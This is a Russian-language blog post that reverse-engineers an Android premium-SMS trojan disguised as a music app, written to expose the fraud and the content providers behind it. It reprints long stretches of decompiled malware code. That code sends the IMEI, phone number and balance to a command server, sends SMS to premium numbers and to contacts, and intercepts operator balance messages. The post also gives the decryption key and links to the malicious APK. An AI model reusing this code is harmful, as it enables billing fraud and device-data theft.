- PVSM.RU - https://www.pvsm.ru -

Все началось с жалоб одного моего доброго друга, по совместительству владельца устройства на Android. Он жаловался, что оператор постоянно снимает с него деньги неизвестно за что. После звонков оператору выяснилось, что средства снимали за премиум SMS, которые мой друг якобы отправлял. Я сам неоднократно нарывался в Интернетах на подозрительные сайты, которые предлагают скачать apk с игрой/программой/Live Wallpaper, при установке которого выясняется, что это всего лишь программа, которая отправляет SMS на премиум номера. Но в этом случае если нажал кнопку, то «сам дурак», потому что правила в таких программках явно говорят, что последует отправка SMS на платные номера, да и ссылки они в итоге предоставляют на реальные программы.
Так или иначе, ко мне закралось подозрение, что здесь ситуация тоже завязана на таком роде деятельности, и я взялся разобраться, куда же все-таки утекают денежки.
Начнем с того, что мой друг запамятовал, откуда он скачивал последние программы из сети на свой девайс, из него удалось вытрясти только следующую ссылку mobisity.ru [1] (Осторожно, сайт распространяет вредоносное ПО!). Покопавшись на сайте, я вытащил оттуда APK [2].
Теперь, когда предыстория известна читателю, можно перейти к самому интересному — анализу приложения. Начнем с безопасной установки приложения, а именно, установим его на эмулятор и посмотрим как оно действует.
Запускаем штатный эмулятор Android, желательно версии 2.2 или выше (на более старые версии приложение не устанавливается), для этого запускаем эмулятор через AVD (Android Virtual Device Manager) и выполняем команду
adb install mp3.apk
В списке приложений появляется наблюдаем нашего трояна, под именем Music и с соответствующей иконкой.

Запускаем и наблюдаем процесс какой-то «установки», после которой нам предлагается нажать кнопку «далее»

Если нажать кнопку хардварную кнопку Menu, то можно будет открыть правила и прочесть, что после нажатия кнопки пойдет отправка SMS на платные номера. Ну и ладно, значит, пока что это из разряда «сам дурак». Так куда же постоянно утекают средства? Пока не понятно, исследуем дальше.
Для анализа я использовал следующие инструменты: jd-gui [3], dex2jar [4] и apktool [5].
Первым делом разберем APK при помощи apktool и посмотрим на структуру проекта. Для этого необходимо выполнить команду
apktool d mp3.apk
Анализ внутренней структуры проекта ничего интересного не дает, за исключением того, что в папке assets лежит непонятный файл data.xml, видимо он хранит какие-то данные, но зашифрован, так как, на первый взгляд, данные не поддаются простому анализу.
Ну что же, остается только смотреть код, для этого используем dex2jar. Вытаскиваем при помощи своего любимого архиватора файл из APK с названием classes.dex, и при помощи dex2jar преобразовываем его в jar файл. Полученный jar нужно открыть в программе jd-gui. Всё, теперь у нас есть весь (ну или почти весь) код приложения:

Прежде чем сломя голову бросаться анализировать код, я решил посмотреть файл AndroidManifest.xml, как правило из него можно вытащить много полезной информации о приложении.
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="net.droid.installer"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_LOGS" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application android:label="@string/app_name" android:icon="@drawable/icon">
<activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_name" android:name=".InstallActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
<intent-filter>
<action android:name="android.intent.action.CREATE_SHORTCUT" />
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:theme="@android:style/Theme.NoTitleBar" android:name=".RuleActivity" android:screenOrientation="portrait" />
<activity android:theme="@android:style/Theme.NoTitleBar" android:name=".LoaderActivity" android:screenOrientation="portrait" />
<activity android:theme="@android:style/Theme.NoTitleBar" android:name=".StartActivity" />
<receiver android:name=".StartupReceiver" android:enabled="true" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>
<service android:name=".UpdateService" android:enabled="true" />
<receiver android:name=".UpdateReceiver" />
<receiver android:name=".MessageReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<receiver android:name=".Scanner">
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REPLACED" />
<action android:name="android.intent.action.PACKAGE_REPLACED" />
<data android:scheme="package" />
</intent-filter>
</receiver>
<service android:name=".USSDDumbExtendedNetworkService">
<intent-filter>
<action android:name="com.android.ussd.IExtendedNetworkService" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</service>
</application>
</manifest>
Просмотрев файл, я заинтересовался BroadcastReceiver'ом с именем StartupReceiver — очевидно, что он запускает какой-то код при загрузке системы, на это указывают заявленные intent-filters.
package net.droid.installer;
import a;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.RemoteException;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;
public class StartupReceiver extends BroadcastReceiver
{
private static ServiceConnection d = null;
boolean a = false;
Context b;
private a c = null;
public void onReceive(Context paramContext, Intent paramIntent)
{
this.b = paramContext;
Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName();
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit();
try
{
if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("����")))
d = new j(this);
}
catch (Exception localException1)
{
try
{
paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1);
label120: localObject = this.c;
if (localObject != null);
try
{
this.c.a(":ON;)");
while (true)
{
label141: paramContext.startService(new Intent(paramContext, UpdateService.class));
return;
localException1;
}
}
catch (RemoteException localRemoteException)
{
break label141;
}
}
catch (Exception localException2)
{
break label120;
}
}
}
}
По всей видимости, в случае необходимости, здесь производится биндинг с системным сервисом, который обеспечивает работу USSD запросов. Логично было бы предположить, что троян таким образом отслеживает баланс пользователя.
Кроме этого, в коде видно, что запускается сервис UpdateService.
package net.droid.installer;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.IBinder;
import android.preference.PreferenceManager;
public class UpdateService extends Service
{
static Context a;
static String b = "http://mxclick.com/";
static int c = 60;
static SharedPreferences d;
static String e = b;
static boolean f = false;
public static void a()
{
SharedPreferences.Editor localEditor = d.edit();
localEditor.putBoolean("appblocked", true);
localEditor.commit();
}
public static void a(String paramString)
{
SharedPreferences.Editor localEditor = d.edit();
localEditor.putString(a.getString(2130968584), paramString);
localEditor.commit();
}
public IBinder onBind(Intent paramIntent)
{
return null;
}
public void onCreate()
{
}
public void onDestroy()
{
super.onDestroy();
}
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
a = this;
Object localObject = PreferenceManager.getDefaultSharedPreferences(this);
d = (SharedPreferences)localObject;
e = ((SharedPreferences)localObject).getString(getString(2130968584), b);
localObject = (AlarmManager)getSystemService("alarm");
PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0);
((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent);
}
public boolean onUnbind(Intent paramIntent)
{
return super.onUnbind(paramIntent);
}
}
Очевидно, что данный сервис при старте устанавливает при помощи планировщика AlarmManager запуск Intent, который является сигналом к запуску BroadcastReceiver'a с именем UpdateReceiver, а если точнее, то его метода — onReceive.
package net.droid.installer;
import a;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.Uri;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.preference.PreferenceManager;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import java.util.ArrayList;
public class UpdateReceiver extends BroadcastReceiver
{
static boolean i = false;
private static ServiceConnection l = null;
Context a;
SharedPreferences b;
boolean c = false;
String d = "";
String e = "";
String f = "";
String g = "";
String h = "";
ArrayList j = new ArrayList();
private final a k = null;
private String a()
{
return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString();
}
private void a(String paramString1, String paramString2)
{
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0);
SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2);
}
public void onReceive(Context paramContext, Intent paramIntent)
{
this.a = paramContext;
this.b = PreferenceManager.getDefaultSharedPreferences(this.a);
PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE");
localWakeLock.acquire();
Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName();
try
{
if (a().equals("25001"))
a("111", "11");
while (true)
{
if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false))
{
localObject = PreferenceManager.getDefaultSharedPreferences(this.a);
SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();
if (((SharedPreferences)localObject).getBoolean("new", true))
{
localEditor.putBoolean("new", false);
localEditor.putLong("time", 1200000L + System.currentTimeMillis());
localEditor.commit();
}
if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L))
new m(this).execute(new String[0]);
}
label191: localWakeLock.release();
return;
if (a().equals("25002"))
{
a("000100", "b");
continue;
}
if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
{
localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#")));
((Intent)localObject).addFlags(268435456);
paramContext.startActivity((Intent)localObject);
continue;
}
if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("����"))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
continue;
localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#")));
((Intent)localObject).addFlags(268435456);
paramContext.startActivity((Intent)localObject);
}
}
catch (Exception localException)
{
break label191;
}
}
}
Здесь мы видим, что троян проверяет текущий баланс пользователя, прежде чем отправлять SMS. И кроме этого, он запускает AsyncTask с именем m, который отправляет запрос к скрипту mxclick.com/getTask.php [6]. Скрипт по всей видимости отдает нужный номер, на который будет осуществлена отправка тех или иных SMS. Ну и в итоге UpdateReceiver выполняет отправку SMS, тем самым осушая баланс бедного пользователя.
package net.droid.installer;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Build.VERSION;
import android.preference.PreferenceManager;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts;
import android.telephony.TelephonyManager;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONObject;
final class m extends AsyncTask
{
m(UpdateReceiver paramUpdateReceiver)
{
}
private String a()
{
String str1;
try
{
Object localObject7 = (TelephonyManager)this.a.a.getSystemService("phone");
Object localObject2 = ((TelephonyManager)localObject7).getDeviceId();
Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso();
Object localObject1 = new DefaultHttpClient();
Object localObject5 = ((TelephonyManager)localObject7).getLine1Number();
Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName();
String str3 = ((TelephonyManager)localObject7).getNetworkOperator();
String str2 = Integer.toString(Build.VERSION.SDK_INT);
localObject7 = Build.MODEL;
localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.a.a).getString("balance", "0") + "&country=" + (String)localObject4 + "&phone=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2);
localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL();
((URL)localObject2).toString();
localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent();
localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8);
localObject2 = new StringBuilder();
while (true)
{
localObject3 = ((BufferedReader)localObject4).readLine();
if (localObject3 == null)
break;
((StringBuilder)localObject2).append((String)localObject3);
}
((StringBuilder)localObject2).toString();
((InputStream)localObject1).close();
((BufferedReader)localObject4).close();
while (true)
{
try
{
localObject2 = new JSONArray(((StringBuilder)localObject2).toString());
int i = 0;
if (i >= ((JSONArray)localObject2).length())
break;
localObject3 = ((JSONArray)localObject2).getJSONObject(i);
localObject4 = ((JSONObject)localObject3).getString("type");
if (!((String)localObject4).equals("1"))
continue;
UpdateService.f = true;
UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message"));
localObject5 = new n(this.a);
localObject7 = new String[1];
localObject7[0] = "1";
((n)localObject5).execute(localObject7);
if (!((String)localObject4).equals("2"))
break label742;
localObject5 = this.a.a.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
if (!((Cursor)localObject5).moveToNext())
break label650;
localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id"));
if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1"))
{
str2 = "true";
if (!Boolean.parseBoolean(str2))
continue;
localObject7 = this.a.a.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null);
if (!((Cursor)localObject7).moveToNext())
break label640;
this.a.j.add(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1")));
continue;
}
}
catch (Exception localException1)
{
str1 = "-100";
}
str2 = "false";
continue;
label640: ((Cursor)localObject7).close();
continue;
label650: ((Cursor)localObject5).close();
for (int j = 0; j < this.a.j.size(); j++)
UpdateReceiver.a(this.a, (String)this.a.j.get(j), ((JSONObject)localObject3).getString("message"));
localObject7 = new n(this.a);
Object localObject6 = new String[1];
localObject6[0] = "2";
((n)localObject7).execute(localObject6);
label742: if (((String)localObject4).equals("3"))
{
localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url")));
((Intent)localObject6).addFlags(268435456);
this.a.a.startActivity((Intent)localObject6);
localObject7 = new n(this.a);
localObject6 = new String[1];
localObject6[0] = "3";
((n)localObject7).execute(localObject6);
}
if (((String)localObject4).equals("4"))
{
UpdateService.a(((JSONObject)localObject3).getString("server_url"));
localObject7 = new n(this.a);
localObject6 = new String[1];
localObject6[0] = "4";
((n)localObject7).execute(localObject6);
}
if (((String)localObject4).equals("5"))
{
localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis());
localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop")));
localObject6 = PendingIntent.getActivity(this.a.a, 0, (Intent)localObject6, 0);
localObject7 = (NotificationManager)this.a.a.getSystemService("notification");
((Notification)localObject4).setLatestEventInfo(this.a.a, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6);
((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults);
((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags);
((NotificationManager)localObject7).notify(0, (Notification)localObject4);
}
str1++;
}
}
catch (Exception localException2)
{
str1 = null;
}
return (String)(String)(String)(String)(String)(String)(String)str1;
}
}
Ну вот, собственно говоря и всё — дальше код можно не разбирать, мы увидели, что опустошение баланса пользователя достигается именно отправкой SMS на премиум номера. Однако, я наткнулся еще на пару интересных моментов, когда просматривал код трояна. Например, входящие SMS с номера 111, который является сервисным номером МТС, блокируются — таким образом, юзер вообще ничего не слышит и не видит, когда его баланс постепенно уходит в минус.
Этим занимается класс MessageReceiver, вот его определение в AndroidManifest.xml
<receiver android:name=".MessageReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
Видно, что ему установлен высокий приоритет, таким образом ему удается первым обработать входящие сообщения на девайс. Ну и внутри метода onReceive, мы видим, что если SMS идет с номера 111, то intent перехватывается, то есть broadcast сообщение обрывается на этом обработчике и не идет дальше к остальным приложениям.
package net.droid.installer;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.telephony.SmsMessage;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MessageReceiver extends BroadcastReceiver
{
public void onReceive(Context paramContext, Intent paramIntent)
{
Object localObject = paramIntent.getExtras();
if (localObject != null)
{
localObject = (Object[])((Bundle)localObject).get("pdus");
SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length];
int i = 0;
try
{
while (i < arrayOfSmsMessage.length)
{
arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]);
if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100")))
{
Matcher localMatcher = Pattern.compile("-?\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody());
if (localMatcher.find())
{
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit();
if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("�����"))
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit();
abortBroadcast();
}
}
if (UpdateService.f)
{
abortBroadcast();
UpdateService.f = false;
}
i++;
}
}
catch (Exception localException)
{
}
}
}
}
Еще один интересный момент, который на самом деле позволяет сообществу заставить мошенников ответить за свои поступки — зашифрованная база, о которой я упоминал в начале поста. Во время просмотра кода было выяснено, что файл с номерами был зашифрован алгоритмом Blowfish в режиме ECB. Это симметричный алгоритм шифрования, с хорошим ключом на его взлом могли бы уйти годы, но… Разработчики трояна особо не парились:
public final String b(String paramString)
{
try
{
Object localObject2 = this.a.getAssets().open(paramString);
Object localObject1 = new byte[((InputStream)localObject2).available()];
((InputStream)localObject2).read(localObject1);
((InputStream)localObject2).close();
localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), a.a);
Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", a.a).replace("c", a.b).replace("g", a.c));
localCipher.init(2, (Key)localObject2);
localObject1 = new String(localCipher.doFinal(localObject1));
return localObject1;
}
catch (Exception str)
{
while (true)
{
localException.printStackTrace();
String str = "err";
}
}
}
}
С известным ключом мне стоило только набросать пару строк на Яве, и файл был расшифрован:
<oper>
<number>
<numr>8503,7202,7201,7201,7201</numr>
<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
<mccmnc>25001</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
<number>
<numr>7204</numr>
<pref>1429015599 041 122 6030</pref>
<mccmnc>25002</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
<number>
<numr>8503,7202,7201,7201,7201</numr>
<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
<mccmnc>25099</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
<number>
<numr>7202,7201,7201</numr>
<pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref>
<mccmnc>250</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
<number>
<numr>7204,7204,7212</numr>
<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
<mccmnc>25503</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
<number>
<numr>3303,3303,3303</numr>
<pref>427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030</pref>
<mccmnc>400</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
<number>
<numr>7204,7204,7212</numr>
<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
<mccmnc>25501</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
<number>
<numr>7204,7204,7212</numr>
<pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref>
<mccmnc>25505</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
<number>
<numr>3336</numr>
<pref>427242015599 041 122 6030</pref>
<mccmnc>257</mccmnc>
<lock>0</lock>
<isBlocked>0</isBlocked>
<url>http://mp3-999.com/content</url>
<shorcutName>Online</shorcutName>
<shorcutUrl>http://oxclick.com</shorcutUrl>
<shorcutIcon>icon</shorcutIcon>
</number>
</oper>
Еще один момент — все USSD запросы проходят в фоновом режиме, то есть троян может сколько угодно проверять баланс пользователя, тот ничего не заподозрит. По всей видимости реализация фонового выполнения USSD запросов была скопирована разработчиками трояна с сайта commandus [7]. В качестве домашнего задания читателям предлагается понять, почему была скопирована именно реализация с этого сайта и найти подтверждение тому в коде.
Хотелось бы сказать, что разработка таких приложений является прямым нарушением закона РФ, а именно статей 159 и 273 УК РФ. Теперь у мошенников уже отмазаться не получится, так как средства с баланса снимаются не после нажатия абстрактной кнопки, где пользователь принимает на себя всю ответственность за последствия. Здесь баланс может опустошаться годами и пользователь может вообще ничего не заподозрить.
Мошенники, а таковыми по определению являются и контент-провайдеры номеров (потому что оказывают прямое содействие в получении прибыли незаконным или мошенническим путем) 8503, 7202, 7201, 7204, 7212, 3303, 3336 должны быть уголовно наказаны. Кстати, конкретных провайдеров для этих номеров можно посмотреть, например, на сайте Мегафона [8] или Билайна [9]. Дабы не быть голословным, привожу конкретные названия замешанных контент провайдеров, которым принадлежат данные номера: ИнкорМедиа ООО [10], СМС сервисы, ООО (Шутка дня) [11], ООО Инвест Телеком [12] и так далее.
Кроме этого, скорее всего какие-то данные о конкретных виновниках можно выцепить из URL, на который уходят запросы из трояна, а именно: mxclick.com/getTask.php [6]. А вообще, заинтересованные читатели могут по возможности сами попробовать найти другие следы мошенников.
Лично я надеюсь, что глубокоуважаемые операторы Мегафон, Билайн, МТС, Теле2 и остальные примут серьезные меры по поводу контент-провайдеров, потому что они не проследили за использованием их номеров, и кто-то наконец докопается до настоящих виновников, которые разрабатывают и распространяют эти трояны и заставит их ответить по всей строгости закона.
Автор: reverseengineer
Источник [13]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/android/21899
Ссылки в тексте:
[1] mobisity.ru: http://mobisity.ru/ibii/ibii-lcya-igsci/501860-drugvokrug-11.html
[2] APK: http://files.mail.ru/90N6TZ
[3] jd-gui: http://java.decompiler.free.fr/?q=jdgui
[4] dex2jar: http://code.google.com/p/dex2jar/
[5] apktool: http://code.google.com/p/android-apktool/
[6] mxclick.com/getTask.php: http://mxclick.com/getTask.php
[7] commandus: http://commandus.com/blog/?p=58
[8] сайте Мегафона: http://szf.megafon.ru/services/content/uslugi_operatora_s_kontent-prova/
[9] Билайна: http://safe.beeline.ru/smc/rec/cpa.wbp?num=3336
[10] ИнкорМедиа ООО: http://www.incoremedia.ru/
[11] СМС сервисы, ООО (Шутка дня): http://www.i-free.ru/
[12] ООО Инвест Телеком: http://investtelecom.ru
[13] Источник: http://habrahabr.ru/post/161459/
Нажмите здесь для печати.